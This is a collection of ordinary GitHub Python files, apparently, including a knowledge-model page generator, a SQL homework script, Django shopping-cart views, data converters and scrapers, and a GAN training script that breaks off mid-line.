+{"seq_id":"22614708228","text":"\"\"\"\n    Преобразует списки фактов/знаний в страницу диагностики\n\"\"\"\nimport sys\nimport os\nimport io\nimport re\nimport codecs\nimport argparse\nimport json\nfrom jinja2 import Environment, PackageLoader, select_autoescape\nfrom abc import ABC, abstractmethod\n\ndef render_model(model_json_content: str, tree_json_content: str, out_fname: str, wrapper: str) -> None:\n    env = Environment(loader=PackageLoader('app', 'static'), autoescape=select_autoescape(['html', 'xml']))\n\n    out_html = env.get_template(wrapper).render(model=model_json_content, model_tree=tree_json_content)\n\n    with io.open(f\"{out_fname}\", \"w+\", encoding='UTF-8') as f:\n        f.write(out_html)\n\ndef parse_md_list(content_lines, res_map, root_name):\n   start_list = False\n   #идем до первых решеток\n   for line in content_lines:\n      line = line.strip()\n      if len(line) > 2:\n          is_header = line.startswith(\"##\")\n          if start_list == False and is_header:\n             start_list = True\n          elif start_list == True and is_header == False:\n             #разделяем на идентификатор и тело с указанием на детей\n             pos_space = line.find(' ')\n             if pos_space != -1:\n                 rule_id = line[:pos_space]\n                 if (not re.search(r'\\d\\.\\d',rule_id)) and (rule_id != 'root'):\n                    continue\n                 rule_body = line[pos_space+1:]\n                 childs = []\n                 #определяем есть ли дети\n                 pos_st_childs = rule_body.rfind('(')\n                 pos_ed_childs = rule_body.rfind(')')\n                 if pos_st_childs != -1 and pos_ed_childs != -1 and re.search(r'\\d\\.\\d',rule_body[pos_st_childs+1:pos_ed_childs]):\n                    childs = rule_body[pos_st_childs+1:pos_ed_childs].split(',')\n                    for i in range(len(childs)):\n                       childs[i] = childs[i].strip()\n                    rule_body = rule_body[:pos_st_childs]\n                 #print(rule_id+':'+rule_body+' childs:'+str(childs))\n                 \n                 #После root ничего не смотрим\n                 if rule_id == 'root':\n                     res_map[root_name] = {'body':rule_body.strip(), 'childs':childs} \n                     break\n                 else:\n                     res_map[rule_id] = {'body':rule_body.strip(), 'childs':childs}\n   \n   \nclass ModelIterator(ABC):\n    \"\"\"\n    Интерфейс итератора позволяет обходить дерево модели, представленное в виде списка\n    \"\"\"\n\n    @abstractmethod\n    def iterate(self, graph, start) -> None:\n        pass\n        \n        \nclass ConnectedFilterIterator(ModelIterator):\n    def __init__(self):\n        self._connected_id = []\n        self._connected_model = {}\n        \n    def iterate(self, graph, start) -> None:  \n        if not start in graph:\n           print('Warning: wrong child id='+start)\n        if not start in self._connected_id:\n           self._connected_id.append(start)\n           self._connected_model[start] = graph[start]\n           if len(graph[start]['childs']) == 0:\n               return\n           for node in graph[start]['childs']:\n                self.iterate(graph, node)\n        return\n\n    def clear(self):\n        self._connected = []\n        self._connected_model = {}\n        \n    def connected_id(self):\n        return self._connected_id\n        \n    def connected_model(self):\n        return self._connected_model\n        \nclass TreantViewIterator(ModelIterator):\n    def __init__(self):\n        self._treant_obj = {}\n        \n    def iterate(self, graph, start) -> None:  \n        self._treant_obj = self._iterate_with_return(graph, start)\n        \n    def json_repr(self):\n        return json.dumps(self._treant_obj, ensure_ascii=False);\n       \n    def _iterate_with_return(self, graph, start) -> None: \n       if not start in graph:\n           return None\n       node_hier = { 'text': { 'name' : start, 'desc' : \"\" }, 'children' : [] }\n       if len(graph[start]['childs']) == 0:\n           return node_hier\n       for node in graph[start]['childs']:\n            node2 = self._iterate_with_return(graph, node)\n            if node2 is not None:\n               node_hier['children'].append(node2)\n       return node_hier  \n\nclass TableViewIterator(ModelIterator):\n    def __init__(self):\n        self._table = []\n        self._connected_id = []\n        \n    def iterate(self, graph, start) -> None:  \n       if not start in graph:\n           return\n       if not start in self._connected_id:\n           self._connected_id.append(start)\n           self._table.append({'sid' : start, 'desc' : graph[start]['body'], 'childs' : ','.join(graph[start]['childs']) })\n           if len(graph[start]['childs']) == 0:\n               return\n           for node in graph[start]['childs']:\n                self.iterate(graph, node)\n       return\n\n    def clear(self):\n        self._connected_id = []\n        self._table = []\n        \n    def json_repr(self):\n        return json.dumps(self._table, ensure_ascii=False);\n\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser(description='User model generator v0.1')\n    parser.add_argument(\"-f\",\"--facts\", help=\"Semantic facts file\", default=\"../../docs/tech/semantic.md\")\n    parser.add_argument(\"-p\",\"--procedures\", help=\"Procedure model file\", default=\"../../docs/tech/procedural.md\")\n    parser.add_argument(\"-o\",\"--out\", help=\"Output directory\", default=\"../../site/know_model\")\n    parser.add_argument(\"-e\",\"--ext\", help=\"Extension for output file\", default=\"html\")\n    parser.add_argument(\"-w\",\"--wrapper\", help=\"Wrapper for tasks\", default=\"wrapper.html\")\n    parser.add_argument(\"-j\",\"--json\", help=\"Dump model to json\", default=\"../../site/model.json\")\n    \n    args = parser.parse_args()\n    \n    model_map = {}\n    with io.open(f\"{args.facts}\", \"r\", encoding='UTF-8') as f:\n       parse_md_list(f.readlines(),model_map,\"root_facts\")\n    with io.open(f\"{args.procedures}\", \"r\", encoding='UTF-8') as f:\n       parse_md_list(f.readlines(),model_map,\"root_proc\")\n    model_map[\"root\"] = {'body':'Все знания', 'childs':[\"root_facts\",\"root_proc\"]}\n    \n    \n    #поиск подключенных узлов\n    fact_it = ConnectedFilterIterator()\n    fact_it.iterate(model_map,'root')\n    conn_facts = fact_it.connected_id()\n    \n    disconn_facts = []\n    for key in model_map:\n       if not key in conn_facts:\n          disconn_facts.append(key)\n          \n    conn_fact_model = fact_it.connected_model()\n    #вид графа\n    treant_it = TreantViewIterator()\n    treant_it.iterate(conn_fact_model,\"root\")\n    #вид таблицы\n    table_it = TableViewIterator()\n    table_it.iterate(conn_fact_model,\"root\")\n    #print(table_it.json_repr())\n    \n    if not os.path.exists(args.out):\n        print('Try to creaty output directory {}'.format(args.out))\n        os.makedirs(args.out)\n    dest_file = os.path.join(args.out,\"know.html\");\n    render_model(table_it.json_repr(),treant_it.json_repr(),dest_file,'wrapper.html')\n    \n    #print(treant_it.json_repr())\n    print('Disconnected facts: '+','.join(disconn_facts))\n    \n    #дамп для исследования\n    with io.open(f\"{args.json}\", \"w+\", encoding='UTF-8') as f:\n        json.dump(model_map, f, ensure_ascii=False)\n        \n    #with io.open(\"../site/trean.json\", \"w+\", encoding='UTF-8') as f:\n    #    f.write(treant_it.json_repr())\n\n    print(\"ok\")\n    sys.exit(0)\n","repo_name":"antlas1/studyprog","sub_path":"scripts/know_model/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":7601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7748460889","text":"import pymysql\nfrom config import host, user, password\n\ntry:\n    connection = pymysql.connect(\n        host=host,\n        port=3306,\n        user=user,\n        password=password,\n        cursorclass=pymysql.cursors.DictCursor\n    )\n    print(\"connected\")\n\n    try:\n        cursor = connection.cursor()\n\n        delete_db_query = \"DROP DATABASE IF EXISTS Kirov_AD_homework2_db\"\n\n        create_db_query = \"CREATE DATABASE IF NOT EXISTS Kirov_AD_homework2_db\"\n\n        use_db_query = \"USE Kirov_AD_homework2_db\"\n\n        drop_sales_table_query = \"DROP TABLE IF EXISTS sales\"\n\n        create_sales_table_query = \"CREATE TABLE IF NOT EXISTS sales\" \\\n                                   \"id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,\" \\\n                                   \"order_date DATE NOT NULL,\" \\\n                                   \"count_product INT NOT NULL\"\n\n        sales_insert_query = \"INSERT INTO sales (order_date, count_product)\" \\\n                             \"VALUES\" \\\n                             \"('2021-10-26',285),\" \\\n                             \"('2022-11-15',150),\" \\\n                             \"('2023-03-19',283),\" \\\n                             \"('2022-08-12',310),\" \\\n                             \"('2023-05-03',141),\" \\\n                             \"('2023-08-28',149),\" \\\n                             \"('2023-02-02',105),\" \\\n                             \"('2022-09-27',315);\"\n\n        sales_update_query = \"UPDATE sales SET order_date = '2022-06-20' WHERE id = 1;\"\n\n        sales_group_query = \"SELECT\" \\\n                            \"CASE\" \\\n                                \"WHEN count_product < 100 THEN 'small_order'\" \\\n                                \"WHEN count_product BETWEEN 100 AND 300 THEN 'middle_order'\" \\\n                                \"ELSE 'large_order'\" \\\n                            \"END AS order_type,\" \\\n                            \"COUNT(*) AS count_products_in_order\" \\\n                            \"FROM\" \\\n                                \"sales\" \\\n                            \"GROUP BY\" \\\n                                \"order_type;\"\n\n        drop_orders_table_query = \"DROP TABLE IF EXISTS orders\"\n\n        create_orders_table_query = \"CREATE TABLE IF NOT EXISTS orders\" \\\n                                    \"id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,\" \\\n                                    \"employee_id VARCHAR(45) NOT NULL,\" \\\n                                    \"amount DECIMAL(4,2) NOT NULL,\" \\\n                                    \"order_status VARCHAR(45) NOT NULL\"\n\n        orders_insert_query = \"INSERT INTO orders (employee_id, amount, order_status)\" \\\n                              \"VALUES\" \\\n                              \"('e03', 50.65, 'OPEN'),\" \\\n                              \"('e02', 33.34, 'OPEN'),\" \\\n                              \"('e03', 7.90, 'CLOSED'),\" \\\n                              \"('e03', 58.30, 'CLOSED'),\" \\\n                              \"('e03', 15.02, 'CANCELLED'),\" \\\n                              \"('e05', 28.46, 'CLOSED'),\" \\\n                              \"('e04', 23.70, 'OPEN'),\" \\\n                              \"('e02', 84.01, 'OPEN');\"\n\n        orders_fullstatus_query = \"SELECT id, orderstatus,\" \\\n                \"CASE orderstatus\" \\\n                    \"WHEN 'OPEN' THEN 'Order is in open state.'\" \\\n                    \"WHEN 'CLOSED' THEN 'Order is closed.'\" \\\n                    \"ELSE 'Order is cancelled.'\" \\\n                \"END AS order_fullstatus\" \\\n                \"FROM orders;\"\n\n        cursor.execute(delete_db_query)\n\n        cursor.execute(create_db_query)\n\n        cursor.execute(use_db_query)\n\n        cursor.execute(drop_sales_table_query)\n\n        cursor.execute(create_sales_table_query)\n\n        cursor.execute(sales_insert_query)\n        connection.commit()\n\n        cursor.execute(sales_update_query)\n        connection.commit()\n\n        cursor.execute(sales_group_query)\n        rows = cursor.fetchall()\n        for row in rows:\n            print(row)\n\n        cursor.execute(drop_orders_table_query)\n\n        cursor.execute(create_orders_table_query)\n\n        cursor.execute(orders_insert_query)\n        connection.commit()\n\n        cursor.execute(orders_fullstatus_query)\n        rows = cursor.fetchall()\n        for row in rows:\n            print(row)\n\n    finally:\n        connection.close()\n\nexcept Exception as ex:\n    print(\"Connection refused.\")\n    print(ex)\n","repo_name":"Pro100-Adm/Kirov_AD_SQL_homeworks","sub_path":"CRUD.py","file_name":"CRUD.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43439988827","text":"var = 9\nloop = True\n\n# local\n# def func(x):\n#     newVar = 7\n#     print(loop)\n#     if x == 5:\n#         return newVar\n# def otherFunc():\n#     newVar = 5\n#     print(newVar)\n# func(2)\n\n# global\ndef func(x):\n    global loop\n    loop = 7\n\n    if x == 5:\n        return newVar\ndef otherFunc():\n    newVar = 5\n\nloop = False\n# func(2)\nprint(loop)","repo_name":"jejaksaid/python","sub_path":"tutor19-global-local-variable.py","file_name":"tutor19-global-local-variable.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5651955592","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom sklearn.metrics import accuracy_score\nimport random\n\n\n# In[2]:\n\n\ntest_premise = np.loadtxt('test/premise.txt', delimiter=',')\n\n\n# In[3]:\n\n\ntest_hypothesis = np.loadtxt('test/hypothesis.txt', delimiter=',')\n\n\n# In[4]:\n\n\ntest_labels = np.loadtxt('test/labels.txt', delimiter=',')\n\n\n# In[5]:\n\n\ntest_raw = np.subtract(test_premise,test_hypothesis)\n\n\n# In[6]:\n\n\ntestY_raw = test_labels\n\n\n# In[30]:\n\n\nclass Net(nn.Module):\n    def __init__(self):\n        super(Net, self).__init__()\n        self.fc1 = nn.Linear(4096,1024)\n        self.fc2 = nn.Linear(1024,256)\n        self.fc3 = nn.Linear(256,64)\n        self.fc4 = nn.Linear(64,3)\n    def forward(self, x):\n        x = torch.relu(self.fc1(x))\n        x = torch.relu(self.fc2(x))\n        x = torch.relu(self.fc3(x))\n        x = self.fc4(x)\n        return x\n\n\n# In[49]:\n\n\nmodel = Net()\nmodel.load_state_dict(torch.load('models/rajat.pt', map_location={'cuda:0': 'cpu'}))\n\n\n# In[50]:\n\n\ntestX = torch.from_numpy(test_raw).float()\nYpred = model(testX)\n\n\n# In[51]:\n\n\ndef idx2word(word):\n    if(word == 0):\n        return 'neutral';\n    elif(word == 1):\n        return 'entailment';\n    elif(word == 2):\n        return 'contradiction';\n\n\n# In[52]:\n\n\nYpred = np.argmax(np.array(Ypred.cpu().detach().numpy()), axis=1)\n\n\n# In[53]:\n\n\noutput = [idx2word(item) for item in Ypred]\n\n\n# In[54]:\n\n\noutput[50:1000]\n\n\n# In[56]:\n\n\nwith open('deep_model.txt', 'w') as f:\n    for item in output:\n        f.write(\"%s\\n\" % item)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"thisisrajatnagpal/NLI","sub_path":"deep_model_testing.py","file_name":"deep_model_testing.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"73199582648","text":"# Ogrodnik. Utwórz program - udający poradnik ogrodnika.\n# Powinen zawierać dowolny słownik przypominający o obowiązkach ogrodniczych w zależności od miesiąca:\n# np. styczeń - bielenie pni drzew, październik - czas posadzić wiosenne krzewy.\n# Użytkownik może podać skróconą, 3 literową nazwę miesiąca i otrzymać poradę.\n# Użytkownik kończy korzystanie z programu naciśnięciem przycisku - Q.\n\ndef get_month():\n    while True:\n        miesiac = input(\"Podaj nazwę miesiąca jako 3 litery: \")\n        if len(miesiac) != 3 or not miesiac.isalpha():\n            input(\"Nie pykło - \")\n        else:\n            break\n    return miesiac.capitalize()\n\nseasonal_dict = {\n    \"Sty\": \"bielenie pni drzew\",\n    \"Lut\": \"sypanie solą bo ślisko\",\n    \"Mar\": \"Dbanie o przebiśniegi\",\n    \"Kwi\": \"Zrywanie tulipanów\",\n    \"Maj\": \"Zrywanie konwalii\",\n    \"Cze\": \"Wysadzamy petunie\",\n    \"Lip\": \"Skracanie pędów\",\n    \"Sie\": \"zjadamy maliny\",\n    \"Wrz\": \"Zbieramy kasztany\",\n    \"Paź\": \"Zrywamy dynie\",\n    \"Lis\": \"Grabimy liście\",\n    \"Gru\": \"Dokarmiamy sikorki\"\n}\n\nwhile True:\n    month = get_month()\n\n    if month in seasonal_dict:\n        print(seasonal_dict[month])\n    else:\n        print(\"Nie znam tego miesiaca\")\n\n    user_input = input(\"Czy chcesz kolejna porade: Y / N: \")\n    if user_input.upper() == 'N':\n        break\n","repo_name":"FlyingMedusa/PythonCourse","sub_path":"04_lekcja5Funkcje/poradnik_ogrodnika.py","file_name":"poradnik_ogrodnika.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4298589809","text":"def write_pdf(self):\r\n        # Write PDF.\r\n        from fpdf import FPDF\r\n        from PIL import Image\r\n        dpi = 120 # note for calcs below that \"pt\" units are 1/72th of an inch\r\n        pdf = FPDF(unit=\"pt\")\r\n        for image in self.screenshot_image_filenames:\r\n            # Size the next PDF page to the size of this image.\r\n            with open(image, \"rb\") as f:\r\n                im = Image.open(f)\r\n                page_size = im.size[0]/dpi*72, im.size[1]/dpi*72\r\n                \r\n            pdf.add_page(format=page_size)\r\n\r\n            pdf.image(image, 0, 0, page_size[0], page_size[1])\r\n\r\n        pdf.output(self.write_pdf_filename, \"F\")\r\n","repo_name":"brch0x2a/MES-1","sub_path":"pyServices/salud/lab00.py","file_name":"lab00.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"9395461880","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nfrom django.views.generic import View\nfrom menu.models import FoodItem\nfrom .context_processors import get_cart_counter, get_cart_amounts\nfrom .models import Cart\n\n\nclass CartView(LoginRequiredMixin, View):\n    def get(self, request, *args, **kwargs):\n        cart_items = Cart.objects.filter(user=request.user)\n        context = {\"cart_items\": cart_items}\n        return render(request, \"cart/cart.html\", context)\n\n\nclass AddToCartView(View):\n    # Check if user is logged in\n    def get(self, request, *args, **kwargs):\n        if request.user.is_authenticated:\n            # Check if request is an ajax request\n            if request.headers.get(\"x-requested-with\") == \"XMLHttpRequest\":\n                try:\n                    food_item = FoodItem.objects.get(id=kwargs.get(\"food_id\"))\n                    try:\n                        user_cart = Cart.objects.get(\n                            user=request.user, food_item=food_item\n                        )\n                        user_cart.quantity += 1\n                        user_cart.save()\n                        return JsonResponse(\n                            {\n                                \"status\": \"Success\",\n                                \"message\": \"Increased the cart quantity\",\n                                \"cart_counter\": get_cart_counter(request),\n                                \"cart_quantity\": user_cart.quantity,\n                                \"cart_amount\": get_cart_amounts(request),\n                            }\n                        )\n                    except:\n                        new_cart = Cart.objects.create(\n                            user=request.user,\n                            food_item=food_item,\n                            quantity=1,\n                        )\n                        return JsonResponse(\n                            {\n                                \"status\": \"Success\",\n                                \"message\": \"Created new cart\",\n                                \"cart_counter\": get_cart_counter(request),\n                                \"cart_quantity\": new_cart.quantity,\n                                \"cart_amount\": get_cart_amounts(request),\n                            }\n                        )\n                except:\n                    return JsonResponse(\n                        {\"status\": \"Failed\", \"message\": \"This food does not exist!\"}\n                    )\n            else:\n                return JsonResponse({\"status\": \"Failed\", \"message\": \"Invalid request!\"})\n        else:\n            return JsonResponse(\n                {\"status\": \"login_required\", \"message\": \"Please login to continue\"}\n            )\n\n\nclass DecreaseCartView(View):\n    def get(self, request, *args, **kwargs):\n        # Check if user is logged in\n        if request.user.is_authenticated:\n            # Check if request is an ajax request\n            if request.headers.get(\"x-requested-with\") == \"XMLHttpRequest\":\n                try:\n                    food_item = FoodItem.objects.get(id=kwargs.get(\"food_id\"))\n                    try:\n                        user_cart = Cart.objects.get(\n                            user=request.user, food_item=food_item\n                        )\n                        if user_cart.quantity > 1:\n                            user_cart.quantity -= 1\n                            user_cart.save()\n                        else:\n                            user_cart.delete()\n                            user_cart.quantity = 0\n                        return JsonResponse(\n                            {\n                                \"status\": \"Success\",\n                                \"message\": \"Decreased the cart quantity\",\n                                \"cart_counter\": get_cart_counter(request),\n                                \"cart_quantity\": user_cart.quantity,\n                                \"cart_amount\": get_cart_amounts(request),\n                            }\n                        )\n                    except:\n                        return JsonResponse(\n                            {\n                                \"status\": \"Failed\",\n                                \"message\": \"You do not have this item in your cart!\",\n                            }\n                        )\n                except:\n                    return JsonResponse(\n                        {\"status\": \"Failed\", \"message\": \"This food does not exist!\"}\n                    )\n            else:\n                return JsonResponse({\"status\": \"Failed\", \"message\": \"Invalid request!\"})\n        else:\n            return JsonResponse(\n                {\"status\": \"login_required\", \"message\": \"Please login to continue\"}\n            )\n\n\nclass CartItemDeleteView(LoginRequiredMixin, View):\n    def get(self, request, *args, **kwargs):\n        if request.headers.get(\"x-requested-with\") == \"XMLHttpRequest\":\n            try:\n                cart_item = Cart.objects.get(\n                    user=request.user, id=kwargs.get(\"cart_item_id\")\n                )\n                cart_item.delete()\n                return JsonResponse(\n                    {\n                        \"status\": \"Success\",\n                        \"message\": \"Cart Item has been deleted\",\n                        \"cart_counter\": get_cart_counter(request),\n                        \"cart_amount\": get_cart_amounts(request),\n                    }\n                )\n            except:\n                return JsonResponse(\n                    {\"status\": \"Failed\", \"message\": \"This cart item does not exist!\"}\n                )\n        else:\n            return JsonResponse({\"status\": \"Failed\", \"message\": \"Invalid request!\"})\n","repo_name":"Sheharyar123/Restaurant-Website","sub_path":"cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74660918328","text":"\"\"\"empty message\n\nRevision ID: 6f5d64e77769\nRevises: 20f02b5081bf\nCreate Date: 2019-01-23 17:05:53.945700\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6f5d64e77769'\ndown_revision = '20f02b5081bf'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('blockchain_transaction', sa.Column('nonce', sa.Integer(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('blockchain_transaction', 'nonce')\n    # ### end Alembic commands ###\n","repo_name":"teamsempo/SempoBlockchain","sub_path":"app/migrations/versions/6f5d64e77769_.py","file_name":"6f5d64e77769_.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"77"}
+{"seq_id":"73414859450","text":"from data_conversion_subsystem.settings import register_settings\n\n# Necessary to work with Django and PyPy3.\nregister_settings()\n\nfrom data_conversion_subsystem.data.models import SeaLevelRiseMeasure\nfrom data_conversion_subsystem.data_converter.data_converter import DataConverter\nfrom utilities.util import parse_float, parse_date_utc\nfrom django.db import transaction\n\n_singleton = None\n\n\ndef instance(log_to_file=True, log_to_stdout=True, log_to_telegram=None) -> DataConverter:\n    global _singleton\n    if not _singleton or _singleton and _singleton.finished_execution():\n        _singleton = _SeaLevelRiseDataConverter(log_to_file=log_to_file, log_to_stdout=log_to_stdout,\n                                                log_to_telegram=log_to_telegram)\n    return _singleton\n\n\nclass _SeaLevelRiseDataConverter(DataConverter):\n\n    def __init__(self, log_to_file=True, log_to_stdout=True, log_to_telegram=None):\n        super().__init__(file_path=__file__, log_to_file=log_to_file, log_to_stdout=log_to_stdout,\n                         log_to_telegram=log_to_telegram)\n\n    def _perform_data_conversion(self):\n        \"\"\"\n            Performs data conversion between JSON data (from SeaLevelRiseDataCollector) and the SeaLevelRiseMeasure\n            Django model.\n        \"\"\"\n        self.data = []\n        for value in self.elements_to_convert:\n            try:\n                timestamp_epoch = value['time_utc']\n                year = parse_date_utc(timestamp_epoch).year\n                value = parse_float(value['measures'][\n                        'smoothed_variation_GIA_annual_&_semi_annual_removed'], nullable=False)\n                self.data.append(SeaLevelRiseMeasure(timestamp_epoch=timestamp_epoch, year=year, value=value))\n            except (ValueError, AttributeError, KeyError, IndexError, TypeError):\n                _id = value.get('_id', 'Unknown ID')\n                self.logger.exception('An error occurred while parsing data. SeaLevelRiseMeasure with ID \"%s\" will not '\n                                    'be converted.' % _id)\n        if self.data:\n            # Ensuring that all values are greater than or equal to 0\n            min_value = abs(self.data[0].value)\n            for value in self.data:\n                value.value += min_value\n\n    @transaction.atomic\n    def _save_data(self):\n        \"\"\"\n            Saves collected data into a relational database, using the Django ORM.\n            Operation is efficient, since the \"bulk_create\" is used instead of N calls to \"create\".\n            Postcondition: If operation succeeds, \"self.data\" variable is dereferenced, allowing GC to free up memory.\n        \"\"\"\n        super()._save_data()\n        if self.data:\n            self.state['inserted_elements'] = len(SeaLevelRiseMeasure.objects.bulk_create(self.data))\n            self.logger.info('Successfully saved %d elements.' % self.state['inserted_elements'])\n        else:\n            self.logger.info('No elements were saved because no elements were available.')\n        self.data = None\n","repo_name":"diego-hermida/ClimateChangeApp","sub_path":"data_conversion_subsystem/data_converters/sea_level_rise/sea_level_rise.py","file_name":"sea_level_rise.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"5651568297","text":"from scripts.functions import now\nfrom database import table_class\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime, timedelta\nimport requests\nimport tabula\n\nvac_columns = [\n    'Regional',\n    'Municipio',\n    'Trabalhadores',\n    '1-Dose',\n    '2-Dose',\n    'Numero_Doses',\n    'Numero_Arredondado'\n]\n\ndef transform(dfs):\n    \n    dfs.info()\n    \n    for df in dfs:\n        # print(df)\n        # print(dfs[df])\n        try:\n            dfs[df] = dfs[df].str.replace(\".\", \"\").astype(int)\n        except:\n            pass\n    \n    dfs[\"Data_Insercao\"] = now()\n    return dfs\n\ndef cleanner(dfs):\n\n    final_df = pd.DataFrame()\n\n    for df in dfs:\n        # print(df)\n        # df.info()\n        df.dropna(inplace=True)\n        final_df = pd.concat([final_df, df], ignore_index=True)\n    \n\n    final_df.drop([0], inplace=True)\n\n    final_df.columns = vac_columns\n\n    final_df = transform(final_df)\n\n    return final_df\n\ndef insert(session):\n    \n    print(\"Inserindo get_sesa_vacinas.\")\n\n    url = \"https://www.saude.pr.gov.br/sites/default/arquivos_restritos/files/documento/2021-01/anexo_iv_quantidades_de_doses_distribuidas_por_regional_e_municipios_da_vacina_covid-19_-_astrazeneca_fiocruz_para_o_grupo_trabalhadores_de_saude_.pdf\"\n    \n    dfs = tabula.read_pdf(url, pages=\"all\", pandas_options={'header': None, 'dtype': str})\n\n    # print(final_df)\n    # final_df.info()\n\n    dfs = cleanner(dfs)\n\n    print(dfs)\n\n    db_format = table_class.get_sesa_vacinas()\n    \n    dfs.to_sql(\"SESA_Vacinas_PR\", index=False, con=session.get_bind(), if_exists='replace', method='multi',\n    dtype=db_format)\n    \n    return 0    \n","repo_name":"lamiautfpr/IC02-2019-Painel-de-Dados-Covid19","sub_path":"src/scripts/get_sesa/get_sesa_vacinas.py","file_name":"get_sesa_vacinas.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"}
+{"seq_id":"27221623863","text":"import tensorflow as tf\nfrom math import sqrt\nimport tensorflow.contrib.eager as tfe\n\nfrom utils import sigmoid_kl_with_logits, save_images, read_and_decode_with_labels\n\nflags = tf.app.flags\n\nFLAGS = flags.FLAGS\n\n\ndef discriminator_loss(class_logits, labels):\n\n    num_classes = 1001\n    d_label_smooth = FLAGS.d_label_smooth\n    class_loss_weight = 1.\n    batch_size = int(class_logits.get_shape()[0])\n\n    assert batch_size == 2 * FLAGS.batch_size\n\n    generated_class_logits = tf.squeeze(tf.slice(class_logits, [0, num_classes - 1], [batch_size, 1]))\n    positive_class_logits = tf.slice(class_logits, [0, 0], [batch_size, num_classes - 1])\n    mx = tf.reduce_max(positive_class_logits, 1, keepdims=True)\n    safe_pos_class_logits = positive_class_logits - mx\n\n    gan_logits = tf.log(tf.reduce_sum(tf.exp(safe_pos_class_logits), 1)) + tf.squeeze(mx) - generated_class_logits\n    assert len(gan_logits.get_shape()) == 1\n\n    probs = tf.nn.sigmoid(gan_logits)\n\n    D_on_data = tf.slice(probs, [0], [FLAGS.batch_size])\n    D_on_data_logits = tf.slice(gan_logits, [0], [FLAGS.batch_size])\n    D_on_G = tf.slice(probs, [FLAGS.batch_size], [FLAGS.batch_size])\n    D_on_G_logits = tf.slice(gan_logits, [FLAGS.batch_size], [FLAGS.batch_size])\n    d_loss_real = sigmoid_kl_with_logits(D_on_data_logits, 1. - d_label_smooth)\n    class_logits = tf.slice(class_logits, [0, 0], [FLAGS.batch_size, num_classes])\n    d_loss_class = class_loss_weight * tf.nn.sparse_softmax_cross_entropy_with_logits(logits=class_logits, labels=tf.to_int64(labels))\n    d_loss_fake = tf.nn.sigmoid_cross_entropy_with_logits(logits=D_on_G_logits, labels=tf.zeros_like(D_on_G_logits))\n    d_loss_class = tf.reduce_mean(d_loss_class)\n    d_loss_real = tf.reduce_mean(d_loss_real)\n    d_loss_fake = tf.reduce_mean(d_loss_fake)\n    d_loss = d_loss_real + d_loss_fake + d_loss_class\n\n    tf.contrib.summary.histogram(\"D_on_data\", D_on_data)\n    tf.contrib.summary.histogram(\"D_on_data_logits\", D_on_data_logits)\n    tf.contrib.summary.histogram(\"D_on_G\", D_on_G)\n    tf.contrib.summary.histogram(\"D_on_G_logits\", D_on_G_logits)\n    tf.contrib.summary.histogram(\"class_logits\", class_logits)\n    tf.contrib.summary.histogram(\"d_loss_real\", d_loss_real)\n    tf.contrib.summary.histogram(\"d_loss_fake\", d_loss_fake)\n    tf.contrib.summary.histogram(\"d_loss_class\", d_loss_class)\n    tf.contrib.summary.histogram(\"d_loss\", d_loss)\n    return d_loss, D_on_G_logits\n\n\ndef generator_loss(D_on_G_logits, generator_target_prob):\n    g_loss = sigmoid_kl_with_logits(D_on_G_logits, FLAGS.generator_target_prob)\n    g_loss = tf.reduce_mean(g_loss)\n    tf.contrib.summary.histogram(\"g_loss\", g_loss)\n    return g_loss\n\n\ndef train_one_epoch(dataset, generator, discriminator, generator_optimizer,\n                    discriminator_optimizer, batch_size, step_counter,\n                    log_interval, z_dim, epoch, device):\n\n    total_generator_loss = 0.0\n    total_discriminator_loss = 0.0\n\n    with tf.device(device):\n        tf.assign_add(step_counter, 1)\n    for (batch_index, (images, labels)) in enumerate(tfe.Iterator(dataset)):\n        with tf.contrib.summary.record_summaries_every_n_global_steps(log_interval, global_step=step_counter):\n            noise = tf.random_uniform(shape=[batch_size, z_dim],\n                                             minval=-1.,\n                                             maxval=1.,\n                                             seed=batch_index)\n            with tf.GradientTape(persistent=True) as grad_tape:\n                G, zs = generator(noise)\n                joint = tf.concat([images, G], 0)\n                class_logits = discriminator(joint)\n                discriminator_loss_val, D_on_G_logits = discriminator_loss(class_logits, labels)\n                total_discriminator_loss += discriminator_loss_val\n                generator_loss_val = generator_loss(D_on_G_logits, FLAGS.generator_target_prob)\n                total_generator_loss += generator_loss_val\n        generator_grad = grad_tape.gradient(generator_loss_val, 